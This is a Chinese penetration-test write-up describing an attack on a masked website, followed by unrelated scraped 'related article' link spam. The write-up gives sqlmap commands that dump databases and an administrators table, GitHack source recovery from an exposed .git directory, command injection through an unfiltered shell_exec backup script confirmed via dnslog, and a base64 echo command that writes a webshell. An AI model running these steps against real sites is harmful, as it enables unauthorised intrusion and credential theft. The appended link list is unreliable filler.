文章来源:安译Sec

0x00 前言

曾经搞站最经典的套路就是:注入拿到密码进后台,上传shell然后内核提权。但是实际环境中,往往会有注入后密码解不开、找不到后台等情况,所以现在有的师傅说sql注入还不如xss。

0x01 详细步骤

一.网站界面就不放了,打码太累了,直接跳到随意点点后发现可疑参数,并确定存在漏洞的截图。

and 1=1页面显示正常,and 1=0页面变空白确定存在数字型注入,order by确定共4列,最后用select 1,2,3,4确定第2列回显。

二.之前探测发现没有waf,那就直接sqlmap一把梭。

跑当前库名:python2 sqlmap.py -u https://www.马赛克.com/subcat.php?id=24 --random-agent --current-db跑所有数据库名:python2 sqlmap.py -u https://www.马赛克.com/subcat.php?id=24 --random-agent --dbs标绿色的为当前数据库:xxx_history

三. 跑当前数据库表名。

python2 sqlmap.py -u https://www.马赛克.com/subcat.php?id=24 --random-agent -D xxx_history --table

标绿色的表为我认为是存放管理员数据的表:

四.直接拖管理表的数据。

python2 sqlmap.py -u https://www.马赛克.com/subcat.php?id=24 --random-agent -D xxx_history -T administrators --dump

居然是明文密码,现在明文密码很少见了,不过考虑到目标网站有点历史悠久,也能理解。

五.虽然获得了管理员密码,但是找不到后台,常用的/admin、/login、/manage都试了。

六.用脚本扫目录,字典用的是御剑的标准字典。得到以下敏感目录(截图不全)。

七.git目录存在即git源码泄露漏洞,用GitHack脚本恢复了整站源码,一大坨,截图就不放了,放个数字你们感受下。

python2 GitHack.py https://www.马赛克.com/.git/

八.根据名字确定其中疑似后台的目录:

九.访问试试,/admin1已经404了,因为git中留存的是历史代码,所以目录被改名或删除都有可能。

十./7mysql7需要输入密码,试了不是之前注出的密码。

十一.xxxquestions目录下的wp-admin倒是可以进,但是也不是之前注出的密码。

十二.之前看到还有个xxx_questions数据库,再用sqlmap去跑一下试试:

python2 sqlmap.py -u https://www.马赛克.com/subcat.php?id=24 --random-agent -D xxx_questions --tables

python2 sqlmap.py -u https://www.马赛克.com/subcat.php?id=24 --random-agent -D xxx_questions -T wp_users --dump

十三.这种加密是wordpress特有的加密,cmd5有针对该框架的解密,但是这个密码似乎太复杂,解不出。

十四.至此sql注入后有密码找不到后台、有后台解不开密码的情况就都碰到了。渗透似乎陷入僵局,没关系,手里的源码还有利用价值,拖到D盾里自动审计一下。

十五.访问那个级别5的已知后门,原来已经被人日过了,是个黑页:hacked by XXX。这个网站比较有历史了,可能这个黑页也是很多年前的某个娱乐圈黑客搞的。

十六.访问级别4的shell_exec后门,是个空白页面,查看手中的源代码,发现是一个备份脚本,有可能是同行留的,也有可能是没有安全意识的管理员自己写的。后面那种可能性比较大。

十七.脚本逻辑:接收了POST的filename参数,然后执行打包备份,但是参数传进shell_exec之前没有做过滤,产生了命令执行的漏洞。用linux的命令连接符分号,可以在后面拼接任意命令,这里尝试一下执行whoami,但是还是空白页面。

十八.想到是因为shell_exec函数没有回显,也不知道命令执行成功没有,这里我们用公开免费的dnslog平台去接收没有回显的注入:

http://www.dnslog.cn/,用法如下:

先点击Get SubDomain在平台获取一个域名

十九.然后执行ping命令,反撇号中的命令会自动执行并返回命令执行的结果拼接到命令里,linux系统使用ping命令要加-c指定次数,不然会一直ping个没完。

二十.去平台点击Refresh Record刷新(不要刷新整个网页),获取到解析日志。

可以看到命令是执行成功了的。whoami的回显为www-data

二十一.确认了漏洞存在,接下来利用漏洞写一句话,注意因为一句话中包含特殊字符,要编码后写入,payload如下

echo base64编码后的一句话|base64 -d > shell.php

(实战中不要用这个文件名,有授权的测试随便,但要注意文件名对waf来说也是一种特征)

二十二.写马成功

二十三.客户没有授权内网,项目结束。

推荐文章++++

*SQLiScanner-SQL注入扩展扫描工具

*Django GIS SQL注入漏洞

*SQL注入类型

SQL 登录注入脚本_项目实战 | SQL注入的“格局”相关推荐

  1. python第三方插件登录网易音乐_项目实战 | Python开发网易云音乐插件

    介绍 深度音乐播放器的网易云音乐插件,可在Linux下播放用户创建.收藏的歌单,以及私人FM. 1.基于sumary的dmusic-plugin-baidumusic修改而成 2.使用了NetEase ...

  2. Android视频《手机影音_项目实战》-杨光福-专题视频课程

    Android视频<手机影音_项目实战>-49877人已学习 课程介绍         手机影音项目是真实的上线项目,本视频在原项目基础上,进行了新技术的更新和优化.该项目包括本地音乐播放 ...

  3. SQL 登录注入脚本_常见web安全问题,SQL注入、XSS、CSRF,基本原理以及如何防御...

    1.SQL注入 原理: 1).SQL命令可查询.插入.更新.删除等,命令的串接.而以分号字元为不同命 令的区别.(原本的作用是用于SubQuery或作为查询.插入.更新.删除--等 的条件式) 2). ...

  4. SQL 登录注入脚本_深圳嘉华学校之SQL 注入

    SQL Server 2005 联机丛书 SQL Injection 是一种攻击方法,它可以将恶意代码插入到以后将传递给 SQL Server 供分析和执行的字符串中.任何构成 SQL 语句的过程都应 ...

  5. python sql脚本_使用Python SQL脚本进行数据采样

    python sql脚本 介绍 (Introduction) The Python programming language is object oriented, easy to use and, ...

  6. sql 生成csv数据_创建包含SQL Server数据的动态生成的CSV文件

    sql 生成csv数据 介绍 ( Introduction ) A few months back, I presented a paper at SQL Saturday 327 in Johann ...

  7. sql 表变量 临时表_何时使用SQL临时表与表变量

    sql 表变量 临时表 It is very beneficial to store data in SQL Server temp tables rather than manipulate or ...

  8. Python和Java结合的项目实战_[项目实战] Python高级教程项目实战篇 Python和Java结合的项目实战 视频教程 [...

    资源介绍 课程简介:xa0xa0 Python高级教程项目实战篇 Python和Java结合的项目实战 视频教程 教学视频 ----------------------课程目录 Python项目实战篇 ...

  9. sql 一次性批量插入_考虑使用SQL批量插入的安全性

    sql 一次性批量插入 In this article, we'll discuss security implications of using SQL Bulk Insert and how to ...

最新文章

  1. 在首次发布三周之后,MLflow迎来了0.2版本
  2. eclipse编辑窗口不见了(打开左边的java、xml文件,中间不会显示代码)
  3. osc上一位哥们的 php编译参数
  4. 看到喜欢的人时的心跳​
  5. 页面跳转多种方法(加传参)
  6. 【elasticsearch】es一直重启,报错日志是分片无法分配
  7. html文件可以分层吗,css分层是用什么标记?
  8. java url链接超时_Java HttpURLConnection超时和IO异常处理
  9. IP数据包、ICMP协议以及ARP协议简单介绍
  10. 一个根据用户名生成头像的库——@multiavatar/multiavatar在react中的使用
  11. 3Dmax各类问题汇总及其完整解决方法
  12. css折叠样式(4)——div+css布局
  13. Vue 视频音频播放
  14. 国外android大神博客,Android手机浏览器(国外篇)横向对比评测
  15. Steven N.S.Cheung之婚姻合约文章简评
  16. 发布一个水管接通游戏的源代码
  17. java唯一订单号_java高并发下唯一订单号生成器【16位数字订单号】
  18. 带上萌宠去上班 | IT办公室宠物报告
  19. MongoDB3.4 根据中文拼音给中文排序
  20. FFT与IFFT公式记录

热门文章

  1. 调试小妙招之360随身WIFI设置两个热点
  2. SQL条件查询/动态SQL
  3. javafx实现聚光灯效果,圆形和矩形聚光灯效果,类似抠图效果
  4. 三箭齐发!达梦数据库一体机 2023 年金融行业开门红
  5. 安装下载如何让youku 没有广告!!
  6. 如何在windows下实现快捷命令,一键ssh连接服务器
  7. 4G转wifi方案研究:openwrt与ppp拨号与rt3070(三)自动重新拨号脚本
  8. 【论文发表】不收版面费和审稿费的期刊汇总
  9. 树状数组(简单介绍)
  10. 软件界面设计之菜单设置的详细细则